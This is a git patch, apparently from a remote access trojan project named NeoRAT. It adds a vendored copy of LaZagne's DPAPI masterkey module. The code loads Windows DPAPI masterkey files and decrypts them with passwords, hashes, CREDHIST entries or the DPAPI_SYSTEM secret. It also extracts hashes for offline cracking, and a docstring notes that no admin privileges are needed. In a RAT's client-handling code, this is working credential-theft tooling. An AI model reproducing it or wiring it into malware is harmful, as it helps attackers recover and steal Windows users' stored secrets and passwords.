From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/config/DPAPI/masterkey.py | 445 +++++++++++++++++++++ 1 file changed, 445 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/DPAPI/masterkey.py (limited to 'foreign/client_handling/lazagne/config/DPAPI/masterkey.py') diff --git a/foreign/client_handling/lazagne/config/DPAPI/masterkey.py b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py new file mode 100644 index 0000000..1ee59d0 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py @@ -0,0 +1,445 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from . import crypto +from .credhist import CredHistFile +from .system import CredSystem +from .eater import DataStruct, Eater +from collections import defaultdict + +import codecs +import hashlib +import struct +import os + + +class MasterKey(DataStruct): + """ + This class represents a MasterKey block contained in a MasterKeyFile + """ + + def __init__(self, raw=None): + self.decrypted = False + self.key = None + self.key_hash = None + self.hmacSalt = None + self.hmac = None + self.hmacComputed = None + self.cipherAlgo = None + self.hashAlgo = None + self.rounds = None + self.iv = None + self.version = None + self.ciphertext = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.iv = data.eat("16s") + self.rounds = data.eat("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.ciphertext = data.remain() + + def decrypt_with_hash(self, sid, pwdhash): + """ + Decrypts the masterkey with the given user's hash and SID. + Simply computes the corresponding key then calls self.decrypt_with_key() + """ + self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid)) + + def decrypt_with_password(self, sid, pwd): + """ + Decrypts the masterkey with the given user's password and SID. + Simply computes the corresponding key, then calls self.decrypt_with_hash() + """ + try: + pwd = pwd.encode("UTF-16LE") + except Exception: + return + + for algo in ["sha1", "md4"]: + self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest()) + if self.decrypted: + break + + def decrypt_with_key(self, pwdhash): + """ + Decrypts the masterkey with the given encryption key. + This function also extracts the HMAC part of the decrypted stuff and compare it with the computed one. + Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return. + """ + if self.decrypted or not pwdhash: + return + + # Compute encryption key + cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv, + self.rounds) + self.key = cleartxt[-64:] + hmacSalt = cleartxt[:16] + hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)] + hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key) + self.decrypted = hmac == hmacComputed + if self.decrypted: + self.key_hash = hashlib.sha1(self.key).digest() + + +class CredHist(DataStruct): + """This class represents a Credhist block contained in the MasterKeyFile""" + + def __init__(self, raw=None): + self.version = None + self.guid = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + +class DomainKey(DataStruct): + """This class represents a DomainKey block contained in the MasterKeyFile. + + Currently does nothing more than parsing. Work on Active Directory stuff is + still on progress. + + """ + + def __init__(self, raw=None): + self.version = None + self.secretLen = None + self.accesscheckLen = None + self.guidKey = None + self.encryptedSecret = None + self.accessCheck = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.secretLen = data.eat("L") + self.accesscheckLen = data.eat("L") + self.guidKey = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.encryptedSecret = data.eat("%us" % self.secretLen) + self.accessCheck = data.eat("%us" % self.accesscheckLen) + + +class MasterKeyFile(DataStruct): + """ + This class represents a masterkey file. + """ + + def __init__(self, raw=None): + self.masterkey = None + self.backupkey = None + self.credhist = None + self.domainkey = None + self.decrypted = False + self.version = None + self.guid = None + self.policy = None + self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0 + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + data.eat("2L") + self.guid = data.eat("72s").decode("UTF-16LE").encode("utf-8") + data.eat("2L") + self.policy = data.eat("L") + self.masterkeyLen = data.eat("Q") + self.backupkeyLen = data.eat("Q") + self.credhistLen = data.eat("Q") + self.domainkeyLen = data.eat("Q") + + if self.masterkeyLen > 0: + self.masterkey = MasterKey() + self.masterkey.parse(data.eat_sub(self.masterkeyLen)) + if self.backupkeyLen > 0: + self.backupkey = MasterKey() + self.backupkey.parse(data.eat_sub(self.backupkeyLen)) + if self.credhistLen > 0: + self.credhist = CredHist() + self.credhist.parse(data.eat_sub(self.credhistLen)) + if self.domainkeyLen > 0: + self.domainkey = DomainKey() + self.domainkey.parse(data.eat_sub(self.domainkeyLen)) + + def get_key(self): + """ + Returns the first decrypted block between Masterkey and BackupKey. + If none has been decrypted, returns the Masterkey block. + """ + if self.masterkey.decrypted: + return self.masterkey.key or self.masterkey.key_hash + elif self.backupkey.decrypted: + return self.backupkey.key + return self.masterkey.key + + def jhash(self, sid=None, context='local'): + """ + Compute the hash used to be bruteforced. + From the masterkey field of the mk file => mk variable. + """ + if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower(): + version = 1 + hmac_algo = 'sha1' + cipher_algo = 'des3' + + elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower(): + version = 2 + hmac_algo = 'sha512' + cipher_algo = 'aes256' + + else: + return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format( + cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo) + + context_int = 0 + if context == "domain": + context_int = 2 + elif context == "local": + context_int = 1 + + return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format( + version=version, + context=context_int, + sid=sid, + cipher_algo=cipher_algo, + hmac_algo=hmac_algo, + rounds=self.masterkey.rounds, + iv=self.masterkey.iv.encode("hex"), + size=len(self.masterkey.ciphertext.encode("hex")), + ciphertext=self.masterkey.ciphertext.encode("hex") + ) + + +class MasterKeyPool(object): + """ + This class is the pivot for using DPAPIck. + It manages all the DPAPI structures and contains all the decryption intelligence. + """ + + def __init__(self): + self.keys = defaultdict( + lambda: { + 'password': None, # contains cleartext password + 'mkf': [], # contains the masterkey file object + } + ) + self.mkfiles = [] + self.credhists = {} + self.mk_dir = None + self.nb_mkf = 0 + self.nb_mkf_decrypted = 0 + self.preferred_guid = None + self.system = None + + def add_master_key(self, mkey): + """ + Add a MasterKeyFile is the pool. + mkey is a string representing the content of the file to add. + """ + mkf = MasterKeyFile(mkey) + self.keys[mkf.guid]['mkf'].append(mkf) + + # Store mkfile object + self.mkfiles.append(mkf) # TO DO000000 => use only self.keys variable + + def load_directory(self, directory): + """ + Adds every masterkey contained in the given directory to the pool. + """ + if os.path.exists(directory): + self.mk_dir = directory + for k in os.listdir(directory): + try: + with open(os.path.join(directory, k), 'rb') as f: + self.add_master_key(f.read()) + self.nb_mkf += 1 + except Exception: + pass + return True + return False + + def get_master_keys(self, guid): + """ + Returns an array of Masterkeys corresponding to the given GUID. + """ + return self.keys.get(guid, {}).get('mkf') + + def get_password(self, guid): + """ + Returns the password found corresponding to the given GUID. + """ + return self.keys.get(guid, {}).get('password') + + def add_credhist_file(self, sid, credfile): + """ + Adds a Credhist file to the pool. + """ + if os.path.exists(credfile): + try: + with open(credfile) as f: + self.credhists[sid] = CredHistFile(f.read()) + except Exception: + pass + + def get_preferred_guid(self): + """ + Extract from the Preferred file the associated GUID. + This guid represent the preferred masterkey used by the system. + This means that it has been encrypted using the current password not an older one. + """ + if self.preferred_guid: + return self.preferred_guid + + if self.mk_dir: + preferred_file = os.path.join(self.mk_dir, u'Preferred') + if os.path.exists(preferred_file): + with open(preferred_file, 'rb') as pfile: + GUID1 = pfile.read(8) + GUID2 = pfile.read(8) + + GUID = struct.unpack("HLH", GUID2) + self.preferred_guid = "%s-%s-%s-%s-%s%s" % ( + format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'), + format(GUID2[1], '08x'), format(GUID2[2], '04x')) + return self.preferred_guid + + return False + + def get_cleartext_password(self, guid=None): + """ + Get cleartext password if already found of the associated guid. + If not guid specify, return the associated password of the preferred guid. + """ + if not guid: + guid = self.get_preferred_guid() + + if guid: + return self.get_password(guid) + + def get_dpapi_hash(self, sid, context='local'): + """ + Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat. + No admin privilege are required to extract it. + :param context: expect local or domain depending of the windows environment. + """ + + self.get_preferred_guid() + + for mkf in self.mkfiles: + if self.preferred_guid == mkf.guid: + return mkf.jhash(sid=sid, context=context) + + def add_system_credential(self, blob): + """ + Adds DPAPI_SYSTEM token to the pool. + blob is a string representing the LSA secret token + """ + self.system = CredSystem(blob) + + def try_credential(self, sid, password=None): + """ + This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. + Should be called as a generator (ex: for r in try_credential(sid, password)) + """ + + # All master key files have not been already decrypted + if self.nb_mkf_decrypted != self.nb_mkf: + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + if mk: + mk.decrypt_with_password(sid, password) + if not mk.decrypted and self.credhists.get(sid) is not None: + # Try using credhist file + self.credhists[sid].decrypt_with_password(password) + for credhist in self.credhists[sid].entries_list: + mk.decrypt_with_hash(sid, credhist.pwdhash) + if credhist.ntlm is not None and not mk.decrypted: + mk.decrypt_with_hash(sid, credhist.ntlm) + + if mk.decrypted: + yield u'masterkey {masterkey} decrypted using credhists key'.format( + masterkey=mk.guid.decode()) + self.credhists[sid].valid = True + + if mk.decrypted: + # Save the password found + self.keys[mkf.guid]['password'] = password + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + + yield True, u'{password} ok for masterkey {masterkey}'.format(password=password, + masterkey=mkf.guid.decode()) + + else: + yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password, + masterkey=mkf.guid.decode()) + + def try_credential_hash(self, sid, pwdhash=None): + """ + This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. + Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash)) + """ + + # All master key files have not been already decrypted + if self.nb_mkf_decrypted != self.nb_mkf: + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + mk.decrypt_with_hash(sid, pwdhash) + if not mk.decrypted and self.credhists.get(sid) is not None: + # Try using credhist file + self.credhists[sid].decrypt_with_hash(pwdhash) + for credhist in self.credhists[sid].entries_list: + mk.decrypt_with_hash(sid, credhist.pwdhash) + if credhist.ntlm is not None and not mk.decrypted: + mk.decrypt_with_hash(sid, credhist.ntlm) + + if mk.decrypted: + yield True, u'masterkey {masterkey} decrypted using credhists key'.format( + masterkey=mk.guid) + self.credhists[sid].valid = True + break + + if mk.decrypted: + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(), + masterkey=mkf.guid.decode()) + else: + yield False, u'{hash} not ok for masterkey {masterkey}'.format( + hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode()) + + def try_system_credential(self): + """ + Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key + Should be called as a generator (ex: for r in try_system_credential()) + """ + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + mk.decrypt_with_key(self.system.user) + if not mk.decrypted: + mk.decrypt_with_key(self.system.machine) + + if mk.decrypted: + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + + yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode()) + else: + yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format( + masterkey=mkf.guid.decode()) -- cgit v1.2.3